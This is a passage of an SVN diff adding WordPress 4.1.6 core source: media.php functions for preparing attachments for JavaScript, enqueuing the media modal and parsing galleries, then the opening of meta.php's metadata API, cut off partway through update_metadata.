+		'dateFormatted' => mysql2date( get_option('date_format'), $attachment->post_date ),
+		'nonces'      => array(
+			'update' => false,
+			'delete' => false,
+			'edit'   => false
+		),
+		'editLink'   => false,
+		'meta'       => false,
+	);
+
+	$author = new WP_User( $attachment->post_author );
+	$response['authorName'] = $author->display_name;
+
+	if ( $attachment->post_parent ) {
+		$post_parent = get_post( $attachment->post_parent );
+	} else {
+		$post_parent = false;
+	}
+
+	if ( $post_parent ) {
+		$parent_type = get_post_type_object( $post_parent->post_type );
+		if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $attachment->post_parent ) ) {
+			$response['uploadedToLink'] = get_edit_post_link( $attachment->post_parent, 'raw' );
+		}
+		$response['uploadedToTitle'] = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
+	}
+
+	$attached_file = get_attached_file( $attachment->ID );
+	if ( file_exists( $attached_file ) ) {
+		$bytes = filesize( $attached_file );
+		$response['filesizeInBytes'] = $bytes;
+		$response['filesizeHumanReadable'] = size_format( $bytes );
+	}
+
+	if ( current_user_can( 'edit_post', $attachment->ID ) ) {
+		$response['nonces']['update'] = wp_create_nonce( 'update-post_' . $attachment->ID );
+		$response['nonces']['edit'] = wp_create_nonce( 'image_editor-' . $attachment->ID );
+		$response['editLink'] = get_edit_post_link( $attachment->ID, 'raw' );
+	}
+
+	if ( current_user_can( 'delete_post', $attachment->ID ) )
+		$response['nonces']['delete'] = wp_create_nonce( 'delete-post_' . $attachment->ID );
+
+	if ( $meta && 'image' === $type ) {
+		$sizes = array();
+
+		/** This filter is documented in wp-admin/includes/media.php */
+		$possible_sizes = apply_filters( 'image_size_names_choose', array(
+			'thumbnail' => __('Thumbnail'),
+			'medium'    => __('Medium'),
+			'large'     => __('Large'),
+			'full'      => __('Full Size'),
+		) );
+		unset( $possible_sizes['full'] );
+
+		// Loop through all potential sizes that may be chosen. Try to do this with some efficiency.
+		// First: run the image_downsize filter. If it returns something, we can use its data.
+		// If the filter does not return something, then image_downsize() is just an expensive
+		// way to check the image metadata, which we do second.
+		foreach ( $possible_sizes as $size => $label ) {
+
+			/** This filter is documented in wp-includes/media.php */
+			if ( $downsize = apply_filters( 'image_downsize', false, $attachment->ID, $size ) ) {
+				if ( ! $downsize[3] )
+					continue;
+				$sizes[ $size ] = array(
+					'height'      => $downsize[2],
+					'width'       => $downsize[1],
+					'url'         => $downsize[0],
+					'orientation' => $downsize[2] > $downsize[1] ? 'portrait' : 'landscape',
+				);
+			} elseif ( isset( $meta['sizes'][ $size ] ) ) {
+				if ( ! isset( $base_url ) )
+					$base_url = str_replace( wp_basename( $attachment_url ), '', $attachment_url );
+
+				// Nothing from the filter, so consult image metadata if we have it.
+				$size_meta = $meta['sizes'][ $size ];
+
+				// We have the actual image size, but might need to further constrain it if content_width is narrower.
+				// Thumbnail, medium, and full sizes are also checked against the site's height/width options.
+				list( $width, $height ) = image_constrain_size_for_editor( $size_meta['width'], $size_meta['height'], $size, 'edit' );
+
+				$sizes[ $size ] = array(
+					'height'      => $height,
+					'width'       => $width,
+					'url'         => $base_url . $size_meta['file'],
+					'orientation' => $height > $width ? 'portrait' : 'landscape',
+				);
+			}
+		}
+
+		$sizes['full'] = array( 'url' => $attachment_url );
+
+		if ( isset( $meta['height'], $meta['width'] ) ) {
+			$sizes['full']['height'] = $meta['height'];
+			$sizes['full']['width'] = $meta['width'];
+			$sizes['full']['orientation'] = $meta['height'] > $meta['width'] ? 'portrait' : 'landscape';
+		}
+
+		$response = array_merge( $response, array( 'sizes' => $sizes ), $sizes['full'] );
+	} elseif ( $meta && 'video' === $type ) {
+		if ( isset( $meta['width'] ) )
+			$response['width'] = (int) $meta['width'];
+		if ( isset( $meta['height'] ) )
+			$response['height'] = (int) $meta['height'];
+	}
+
+	if ( $meta && ( 'audio' === $type || 'video' === $type ) ) {
+		if ( isset( $meta['length_formatted'] ) )
+			$response['fileLength'] = $meta['length_formatted'];
+
+		$response['meta'] = array();
+		foreach ( wp_get_attachment_id3_keys( $attachment, 'js' ) as $key => $label ) {
+			$response['meta'][ $key ] = false;
+
+			if ( ! empty( $meta[ $key ] ) ) {
+				$response['meta'][ $key ] = $meta[ $key ];
+			}
+		}
+
+		$id = get_post_thumbnail_id( $attachment->ID );
+		if ( ! empty( $id ) ) {
+			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'full' );
+			$response['image'] = compact( 'src', 'width', 'height' );
+			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'thumbnail' );
+			$response['thumb'] = compact( 'src', 'width', 'height' );
+		} else {
+			$src = wp_mime_type_icon( $attachment->ID );
+			$width = 48;
+			$height = 64;
+			$response['image'] = compact( 'src', 'width', 'height' );
+			$response['thumb'] = compact( 'src', 'width', 'height' );
+		}
+	}
+
+	if ( function_exists('get_compat_media_markup') )
+		$response['compat'] = get_compat_media_markup( $attachment->ID, array( 'in_modal' => true ) );
+
+	/**
+	 * Filter the attachment data prepared for JavaScript.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array      $response   Array of prepared attachment data.
+	 * @param int|object $attachment Attachment ID or object.
+	 * @param array      $meta       Array of attachment meta data.
+	 */
+	return apply_filters( 'wp_prepare_attachment_for_js', $response, $attachment, $meta );
+}
+
+/**
+ * Enqueues all scripts, styles, settings, and templates necessary to use
+ * all media JS APIs.
+ *
+ * @since 3.5.0
+ */
+function wp_enqueue_media( $args = array() ) {
+
+	// Enqueue me just once per page, please.
+	if ( did_action( 'wp_enqueue_media' ) )
+		return;
+
+	global $content_width, $wpdb, $wp_locale;
+
+	$defaults = array(
+		'post' => null,
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	// We're going to pass the old thickbox media tabs to `media_upload_tabs`
+	// to ensure plugins will work. We will then unset those tabs.
+	$tabs = array(
+		// handler action suffix => tab label
+		'type'     => '',
+		'type_url' => '',
+		'gallery'  => '',
+		'library'  => '',
+	);
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$tabs = apply_filters( 'media_upload_tabs', $tabs );
+	unset( $tabs['type'], $tabs['type_url'], $tabs['gallery'], $tabs['library'] );
+
+	$props = array(
+		'link'  => get_option( 'image_default_link_type' ), // db default is 'file'
+		'align' => get_option( 'image_default_align' ), // empty default
+		'size'  => get_option( 'image_default_size' ),  // empty default
+	);
+
+	$exts = array_merge( wp_get_audio_extensions(), wp_get_video_extensions() );
+	$mimes = get_allowed_mime_types();
+	$ext_mimes = array();
+	foreach ( $exts as $ext ) {
+		foreach ( $mimes as $ext_preg => $mime_match ) {
+			if ( preg_match( '#' . $ext . '#i', $ext_preg ) ) {
+				$ext_mimes[ $ext ] = $mime_match;
+				break;
+			}
+		}
+	}
+
+	$has_audio = $wpdb->get_var( "
+		SELECT ID
+		FROM $wpdb->posts
+		WHERE post_type = 'attachment'
+		AND post_mime_type LIKE 'audio%'
+		LIMIT 1
+	" );
+	$has_video = $wpdb->get_var( "
+		SELECT ID
+		FROM $wpdb->posts
+		WHERE post_type = 'attachment'
+		AND post_mime_type LIKE 'video%'
+		LIMIT 1
+	" );
+	$months = $wpdb->get_results( $wpdb->prepare( "
+		SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
+		FROM $wpdb->posts
+		WHERE post_type = %s
+		ORDER BY post_date DESC
+	", 'attachment' ) );
+	foreach ( $months as $month_year ) {
+		$month_year->text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month_year->month ), $month_year->year );
+	}
+
+	$settings = array(
+		'tabs'      => $tabs,
+		'tabUrl'    => add_query_arg( array( 'chromeless' => true ), admin_url('media-upload.php') ),
+		'mimeTypes' => wp_list_pluck( get_post_mime_types(), 0 ),
+		/** This filter is documented in wp-admin/includes/media.php */
+		'captions'  => ! apply_filters( 'disable_captions', '' ),
+		'nonce'     => array(
+			'sendToEditor' => wp_create_nonce( 'media-send-to-editor' ),
+		),
+		'post'    => array(
+			'id' => 0,
+		),
+		'defaultProps' => $props,
+		'attachmentCounts' => array(
+			'audio' => ( $has_audio ) ? 1 : 0,
+			'video' => ( $has_video ) ? 1 : 0
+		),
+		'embedExts'    => $exts,
+		'embedMimes'   => $ext_mimes,
+		'contentWidth' => $content_width,
+		'months'       => $months,
+		'mediaTrash'   => MEDIA_TRASH ? 1 : 0
+	);
+
+	$post = null;
+	if ( isset( $args['post'] ) ) {
+		$post = get_post( $args['post'] );
+		$settings['post'] = array(
+			'id' => $post->ID,
+			'nonce' => wp_create_nonce( 'update-post_' . $post->ID ),
+		);
+
+		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post->post_type ) && post_type_supports( $post->post_type, 'thumbnail' );
+		if ( ! $thumbnail_support && 'attachment' === $post->post_type && $post->post_mime_type ) {
+			if ( 0 === strpos( $post->post_mime_type, 'audio/' ) ) {
+				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
+			} elseif ( 0 === strpos( $post->post_mime_type, 'video/' ) ) {
+				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
+			}
+		}
+
+		if ( $thumbnail_support ) {
+			$featured_image_id = get_post_meta( $post->ID, '_thumbnail_id', true );
+			$settings['post']['featuredImageId'] = $featured_image_id ? $featured_image_id : -1;
+		}
+	}
+
+	$hier = $post && is_post_type_hierarchical( $post->post_type );
+
+	$strings = array(
+		// Generic
+		'url'         => __( 'URL' ),
+		'addMedia'    => __( 'Add Media' ),
+		'search'      => __( 'Search' ),
+		'select'      => __( 'Select' ),
+		'cancel'      => __( 'Cancel' ),
+		'update'      => __( 'Update' ),
+		'replace'     => __( 'Replace' ),
+		'remove'      => __( 'Remove' ),
+		'back'        => __( 'Back' ),
+		/* translators: This is a would-be plural string used in the media manager.
+		   If there is not a word you can use in your language to avoid issues with the
+		   lack of plural support here, turn it into "selected: %d" then translate it.
+		 */
+		'selected'    => __( '%d selected' ),
+		'dragInfo'    => __( 'Drag and drop to reorder images.' ),
+
+		// Upload
+		'uploadFilesTitle'  => __( 'Upload Files' ),
+		'uploadImagesTitle' => __( 'Upload Images' ),
+
+		// Library
+		'mediaLibraryTitle'      => __( 'Media Library' ),
+		'insertMediaTitle'       => __( 'Insert Media' ),
+		'createNewGallery'       => __( 'Create a new gallery' ),
+		'createNewPlaylist'      => __( 'Create a new playlist' ),
+		'createNewVideoPlaylist' => __( 'Create a new video playlist' ),
+		'returnToLibrary'        => __( '&#8592; Return to library' ),
+		'allMediaItems'          => __( 'All media items' ),
+		'allDates'               => __( 'All dates' ),
+		'noItemsFound'           => __( 'No items found.' ),
+		'insertIntoPost'         => $hier ? __( 'Insert into page' ) : __( 'Insert into post' ),
+		'unattached'             => __( 'Unattached' ),
+		'trash'                  => _x( 'Trash', 'noun' ),
+		'uploadedToThisPost'     => $hier ? __( 'Uploaded to this page' ) : __( 'Uploaded to this post' ),
+		'warnDelete'             => __( "You are about to permanently delete this item.\n  'Cancel' to stop, 'OK' to delete." ),
+		'warnBulkDelete'         => __( "You are about to permanently delete these items.\n  'Cancel' to stop, 'OK' to delete." ),
+		'warnBulkTrash'          => __( "You are about to trash these items.\n  'Cancel' to stop, 'OK' to delete." ),
+		'bulkSelect'             => __( 'Bulk Select' ),
+		'cancelSelection'        => __( 'Cancel Selection' ),
+		'trashSelected'          => __( 'Trash Selected' ),
+		'untrashSelected'        => __( 'Untrash Selected' ),
+		'deleteSelected'         => __( 'Delete Selected' ),
+		'deletePermanently'      => __( 'Delete Permanently' ),
+		'apply'                  => __( 'Apply' ),
+		'filterByDate'           => __( 'Filter by date' ),
+		'filterByType'           => __( 'Filter by type' ),
+		'searchMediaLabel'       => __( 'Search Media' ),
+		'noMedia'                => __( 'No media attachments found.' ),
+
+		// Library Details
+		'attachmentDetails'  => __( 'Attachment Details' ),
+
+		// From URL
+		'insertFromUrlTitle' => __( 'Insert from URL' ),
+
+		// Featured Images
+		'setFeaturedImageTitle' => __( 'Set Featured Image' ),
+		'setFeaturedImage'    => __( 'Set featured image' ),
+
+		// Gallery
+		'createGalleryTitle' => __( 'Create Gallery' ),
+		'editGalleryTitle'   => __( 'Edit Gallery' ),
+		'cancelGalleryTitle' => __( '&#8592; Cancel Gallery' ),
+		'insertGallery'      => __( 'Insert gallery' ),
+		'updateGallery'      => __( 'Update gallery' ),
+		'addToGallery'       => __( 'Add to gallery' ),
+		'addToGalleryTitle'  => __( 'Add to Gallery' ),
+		'reverseOrder'       => __( 'Reverse order' ),
+
+		// Edit Image
+		'imageDetailsTitle'     => __( 'Image Details' ),
+		'imageReplaceTitle'     => __( 'Replace Image' ),
+		'imageDetailsCancel'    => __( 'Cancel Edit' ),
+		'editImage'             => __( 'Edit Image' ),
+
+		// Crop Image
+		'chooseImage' => __( 'Choose Image' ),
+		'selectAndCrop' => __( 'Select and Crop' ),
+		'skipCropping' => __( 'Skip Cropping' ),
+		'cropImage' => __( 'Crop Image' ),
+		'cropYourImage' => __( 'Crop your image' ),
+		'cropping' => __( 'Cropping&hellip;' ),
+		'suggestedDimensions' => __( 'Suggested image dimensions:' ),
+		'cropError' => __( 'There has been an error cropping your image.' ),
+
+		// Edit Audio
+		'audioDetailsTitle'     => __( 'Audio Details' ),
+		'audioReplaceTitle'     => __( 'Replace Audio' ),
+		'audioAddSourceTitle'   => __( 'Add Audio Source' ),
+		'audioDetailsCancel'    => __( 'Cancel Edit' ),
+
+		// Edit Video
+		'videoDetailsTitle'     => __( 'Video Details' ),
+		'videoReplaceTitle'     => __( 'Replace Video' ),
+		'videoAddSourceTitle'   => __( 'Add Video Source' ),
+		'videoDetailsCancel'    => __( 'Cancel Edit' ),
+		'videoSelectPosterImageTitle' => __( 'Select Poster Image' ),
+		'videoAddTrackTitle'	=> __( 'Add Subtitles' ),
+
+ 		// Playlist
+ 		'playlistDragInfo'    => __( 'Drag and drop to reorder tracks.' ),
+ 		'createPlaylistTitle' => __( 'Create Audio Playlist' ),
+ 		'editPlaylistTitle'   => __( 'Edit Audio Playlist' ),
+ 		'cancelPlaylistTitle' => __( '&#8592; Cancel Audio Playlist' ),
+ 		'insertPlaylist'      => __( 'Insert audio playlist' ),
+ 		'updatePlaylist'      => __( 'Update audio playlist' ),
+ 		'addToPlaylist'       => __( 'Add to audio playlist' ),
+ 		'addToPlaylistTitle'  => __( 'Add to Audio Playlist' ),
+
+ 		// Video Playlist
+ 		'videoPlaylistDragInfo'    => __( 'Drag and drop to reorder videos.' ),
+ 		'createVideoPlaylistTitle' => __( 'Create Video Playlist' ),
+ 		'editVideoPlaylistTitle'   => __( 'Edit Video Playlist' ),
+ 		'cancelVideoPlaylistTitle' => __( '&#8592; Cancel Video Playlist' ),
+ 		'insertVideoPlaylist'      => __( 'Insert video playlist' ),
+ 		'updateVideoPlaylist'      => __( 'Update video playlist' ),
+ 		'addToVideoPlaylist'       => __( 'Add to video playlist' ),
+ 		'addToVideoPlaylistTitle'  => __( 'Add to Video Playlist' ),
+	);
+
+	/**
+	 * Filter the media view settings.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array   $settings List of media view settings.
+	 * @param WP_Post $post     Post object.
+	 */
+	$settings = apply_filters( 'media_view_settings', $settings, $post );
+
+	/**
+	 * Filter the media view strings.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array   $strings List of media view strings.
+	 * @param WP_Post $post    Post object.
+	 */
+	$strings = apply_filters( 'media_view_strings', $strings,  $post );
+
+	$strings['settings'] = $settings;
+
+	// Ensure we enqueue media-editor first, that way media-views is
+	// registered internally before we try to localize it. see #24724.
+	wp_enqueue_script( 'media-editor' );
+	wp_localize_script( 'media-views', '_wpMediaViewsL10n', $strings );
+
+	wp_enqueue_script( 'media-audiovideo' );
+	wp_enqueue_style( 'media-views' );
+	if ( is_admin() ) {
+		wp_enqueue_script( 'mce-view' );
+		wp_enqueue_script( 'image-edit' );
+	}
+	wp_enqueue_style( 'imgareaselect' );
+	wp_plupload_default_settings();
+
+	require_once ABSPATH . WPINC . '/media-template.php';
+	add_action( 'admin_footer', 'wp_print_media_templates' );
+	add_action( 'wp_footer', 'wp_print_media_templates' );
+	add_action( 'customize_controls_print_footer_scripts', 'wp_print_media_templates' );
+
+	/**
+	 * Fires at the conclusion of wp_enqueue_media().
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'wp_enqueue_media' );
+}
+
+/**
+ * Retrieve media attached to the passed post.
+ *
+ * @since 3.6.0
+ *
+ * @param string      $type Mime type.
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return array Found attachments.
+ */
+function get_attached_media( $type, $post = 0 ) {
+	if ( ! $post = get_post( $post ) )
+		return array();
+
+	$args = array(
+		'post_parent' => $post->ID,
+		'post_type' => 'attachment',
+		'post_mime_type' => $type,
+		'posts_per_page' => -1,
+		'orderby' => 'menu_order',
+		'order' => 'ASC',
+	);
+
+	/**
+	 * Filter arguments used to retrieve media attached to the given post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array  $args Post query arguments.
+	 * @param string $type Mime type of the desired media.
+	 * @param mixed  $post Post ID or object.
+	 */
+	$args = apply_filters( 'get_attached_media_args', $args, $type, $post );
+
+	$children = get_children( $args );
+
+	/**
+	 * Filter the list of media attached to the given post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array  $children Associative array of media attached to the given post.
+	 * @param string $type     Mime type of the media desired.
+	 * @param mixed  $post     Post ID or object.
+	 */
+	return (array) apply_filters( 'get_attached_media', $children, $type, $post );
+}
+
+/**
+ * Check the content blob for an audio, video, object, embed, or iframe tags.
+ *
+ * @since 3.6.0
+ *
+ * @param string $content A string which might contain media data.
+ * @param array $types array of media types: 'audio', 'video', 'object', 'embed', or 'iframe'
+ * @return array A list of found HTML media embeds
+ */
+function get_media_embedded_in_content( $content, $types = null ) {
+	$html = array();
+	$allowed_media_types = array( 'audio', 'video', 'object', 'embed', 'iframe' );
+	if ( ! empty( $types ) ) {
+		if ( ! is_array( $types ) )
+			$types = array( $types );
+		$allowed_media_types = array_intersect( $allowed_media_types, $types );
+	}
+
+	foreach ( $allowed_media_types as $tag ) {
+		if ( preg_match( '#' . get_tag_regex( $tag ) . '#', $content, $matches ) ) {
+			$html[] = $matches[0];
+		}
+	}
+
+	return $html;
+}
+
+/**
+ * Retrieve galleries from the passed post's content.
+ *
+ * @since 3.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or object.
+ * @param bool        $html Whether to return HTML or data in the array.
+ * @return array A list of arrays, each containing gallery data and srcs parsed
+ *		         from the expanded shortcode.
+ */
+function get_post_galleries( $post, $html = true ) {
+	if ( ! $post = get_post( $post ) )
+		return array();
+
+	if ( ! has_shortcode( $post->post_content, 'gallery' ) )
+		return array();
+
+	$galleries = array();
+	if ( preg_match_all( '/' . get_shortcode_regex() . '/s', $post->post_content, $matches, PREG_SET_ORDER ) ) {
+		foreach ( $matches as $shortcode ) {
+			if ( 'gallery' === $shortcode[2] ) {
+				$srcs = array();
+
+				$gallery = do_shortcode_tag( $shortcode );
+				if ( $html ) {
+					$galleries[] = $gallery;
+				} else {
+					preg_match_all( '#src=([\'"])(.+?)\1#is', $gallery, $src, PREG_SET_ORDER );
+					if ( ! empty( $src ) ) {
+						foreach ( $src as $s )
+							$srcs[] = $s[2];
+					}
+
+					$data = shortcode_parse_atts( $shortcode[3] );
+					$data['src'] = array_values( array_unique( $srcs ) );
+					$galleries[] = $data;
+				}
+			}
+		}
+	}
+
+	/**
+	 * Filter the list of all found galleries in the given post.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array   $galleries Associative array of all found post galleries.
+	 * @param WP_Post $post      Post object.
+	 */
+	return apply_filters( 'get_post_galleries', $galleries, $post );
+}
+
+/**
+ * Check a specified post's content for gallery and, if present, return the first
+ *
+ * @since 3.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @param bool        $html Whether to return HTML or data.
+ * @return string|array Gallery data and srcs parsed from the expanded shortcode.
+ */
+function get_post_gallery( $post = 0, $html = true ) {
+	$galleries = get_post_galleries( $post, $html );
+	$gallery = reset( $galleries );
+
+	/**
+	 * Filter the first-found post gallery.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array       $gallery   The first-found post gallery.
+	 * @param int|WP_Post $post      Post ID or object.
+	 * @param array       $galleries Associative array of all found post galleries.
+	 */
+	return apply_filters( 'get_post_gallery', $gallery, $post, $galleries );
+}
+
+/**
+ * Retrieve the image srcs from galleries from a post's content, if present
+ *
+ * @since 3.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return array A list of lists, each containing image srcs parsed.
+ *		from an expanded shortcode
+ */
+function get_post_galleries_images( $post = 0 ) {
+	$galleries = get_post_galleries( $post, false );
+	return wp_list_pluck( $galleries, 'src' );
+}
+
+/**
+ * Check a post's content for galleries and return the image srcs for the first found gallery
+ *
+ * @since 3.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return array A list of a gallery's image srcs in order.
+ */
+function get_post_gallery_images( $post = 0 ) {
+	$gallery = get_post_gallery( $post, false );
+	return empty( $gallery['src'] ) ? array() : $gallery['src'];
+}
+
+/**
+ * Maybe attempt to generate attachment metadata, if missing.
+ *
+ * @since 3.9.0
+ *
+ * @param WP_Post $attachment Attachment object.
+ */
+function wp_maybe_generate_attachment_metadata( $attachment ) {
+	if ( empty( $attachment ) || ( empty( $attachment->ID ) || ! $attachment_id = (int) $attachment->ID ) ) {
+		return;
+	}
+
+	$file = get_attached_file( $attachment_id );
+	$meta = wp_get_attachment_metadata( $attachment_id );
+	if ( empty( $meta ) && file_exists( $file ) ) {
+		$_meta = get_post_meta( $attachment_id );
+		$regeneration_lock = 'wp_generating_att_' . $attachment_id;
+		if ( ! array_key_exists( '_wp_attachment_metadata', $_meta ) && ! get_transient( $regeneration_lock ) ) {
+			set_transient( $regeneration_lock, $file );
+			wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
+			delete_transient( $regeneration_lock );
+		}
+	}
+}
+
+/**
+ * Try to convert an attachment URL into a post ID.
+ *
+ * @since 4.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $url The URL to resolve.
+ * @return int The found post ID.
+ */
+function attachment_url_to_postid( $url ) {
+	global $wpdb;
+
+	$dir = wp_upload_dir();
+	$path = $url;
+
+	if ( 0 === strpos( $path, $dir['baseurl'] . '/' ) ) {
+		$path = substr( $path, strlen( $dir['baseurl'] . '/' ) );
+	}
+
+	$sql = $wpdb->prepare(
+		"SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attached_file' AND meta_value = %s",
+		$path
+	);
+	$post_id = $wpdb->get_var( $sql );
+	if ( ! empty( $post_id ) ) {
+		return (int) $post_id;
+	}
+}
+
+/**
+ * Return the URLs for CSS files used in an iframe-sandbox'd TinyMCE media view.
+ *
+ * @since 4.0.0
+ *
+ * @global $wp_version
+ *
+ * @return array The relevant CSS file URLs.
+ */
+function wpview_media_sandbox_styles() {
+ 	$version = 'ver=' . $GLOBALS['wp_version'];
+ 	$mediaelement = includes_url( "js/mediaelement/mediaelementplayer.min.css?$version" );
+ 	$wpmediaelement = includes_url( "js/mediaelement/wp-mediaelement.css?$version" );
+
+	return array( $mediaelement, $wpmediaelement );
+}
Index: /tags/4.1.6/src/wp-includes/meta.php
===================================================================
--- /tags/4.1.6/src/wp-includes/meta.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/meta.php	(revision 33402)
@@ -0,0 +1,1620 @@
+<?php
+/**
+ * Metadata API
+ *
+ * Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
+ * for an object is a represented by a simple key-value pair. Objects may contain multiple
+ * metadata entries that share the same key and differ only in their value.
+ *
+ * @package WordPress
+ * @subpackage Meta
+ * @since 2.9.0
+ */
+
+/**
+ * Add metadata for the specified object.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $object_id ID of the object metadata is for
+ * @param string $meta_key Metadata key
+ * @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param bool $unique Optional, default is false. Whether the specified metadata key should be
+ * 		unique for the object. If true, and the object already has a value for the specified
+ * 		metadata key, no change will be made
+ * @return int|bool The meta ID on success, false on failure.
+ */
+function add_metadata($meta_type, $object_id, $meta_key, $meta_value, $unique = false) {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$column = sanitize_key($meta_type . '_id');
+
+	// expected_slashed ($meta_key)
+	$meta_key = wp_unslash($meta_key);
+	$meta_value = wp_unslash($meta_value);
+	$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type );
+
+	/**
+	 * Filter whether to add metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|bool $check      Whether to allow adding metadata for the given type.
+	 * @param int       $object_id  Object ID.
+	 * @param string    $meta_key   Meta key.
+	 * @param mixed     $meta_value Meta value. Must be serializable if non-scalar.
+	 * @param bool      $unique     Whether the specified meta key should be unique
+	 *                              for the object. Optional. Default false.
+	 */
+	$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
+	if ( null !== $check )
+		return $check;
+
+	if ( $unique && $wpdb->get_var( $wpdb->prepare(
+		"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
+		$meta_key, $object_id ) ) )
+		return false;
+
+	$_meta_value = $meta_value;
+	$meta_value = maybe_serialize( $meta_value );
+
+	/**
+	 * Fires immediately before meta of a specific type is added.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user).
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );
+
+	$result = $wpdb->insert( $table, array(
+		$column => $object_id,
+		'meta_key' => $meta_key,
+		'meta_value' => $meta_value
+	) );
+
+	if ( ! $result )
+		return false;
+
+	$mid = (int) $wpdb->insert_id;
+
+	wp_cache_delete($object_id, $meta_type . '_meta');
+
+	/**
+	 * Fires immediately after meta of a specific type is added.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user).
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int    $mid        The meta ID after successful update.
+	 * @param int    $object_id  Object ID.
+	 * @param string $meta_key   Meta key.
+	 * @param mixed  $meta_value Meta value.
+	 */
+	do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );
+
+	return $mid;
+}
+
+/**
+ * Update metadata for the specified object. If no value already exists for the specified object
+ * ID and metadata key, the metadata will be added.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
+ * @param int $object_id ID of the object metadata is for
+ * @param string $meta_key Metadata key
+ * @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param mixed $prev_value Optional. If specified, only update existing metadata entries with
+ * 		the specified value. Otherwise, update all entries.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
+ */
+function update_metadata($meta_type, $object_id, $meta_key, $meta_value, $prev_value = '') {
+	global $wpdb;
+
+	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
+		return false;
+	}
+
+	$object_id = absint( $object_id );
+	if ( ! $object_id ) {
+		return false;
+	}
+
+	$table = _get_meta_table( $meta_type );
+	if ( ! $table ) {
+		return false;
+	}
+
+	$column = sanitize_key($meta_type . '_id');
+	$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
+
+	// expected_slashed ($meta_key)
+	$meta_key = wp_unslash($meta_key);
+	$passed_value = $meta_value;
+	$meta_value = wp_unslash($meta_value);
+	$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type );
+
+	/**
+	 * Filter whether to update metadata of a specific type.
+	 *
+	 * The dynamic portion of the hook, `$meta_type`, refers to the meta
+	 * object type (comment, post, or user). Returning a non-null value
+	 * will effectively short-circuit the function.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|bool $check      Whether to allow updating metadata for the given type.
+	 * @param int       $object_id  Object ID.
+	 * @param string    $meta_key   Meta key.
+	 * @param mixed     $meta_value Meta value. Must be serializable if non-scalar.
+	 * @param mixed     $prev_value Optional. If specified, only update existing
+	 *                              metadata entries with the specified value.
+	 *                              Otherwise, update all entries.
+	 */
+	$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
+	if ( null !== $check )
+		return (bool) $check;
+
+	// Compare existing value to new value if no prev value given and the key exists only once.
+	if ( empty($prev_value) ) {
+		$old_value = get_metadata($meta_type, $object_id, $meta_key);
+		if ( count($old_value) == 1 ) {
+			if ( $old_value[0] === $meta_value )
+				return false;
+		}
+	}
+
+	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
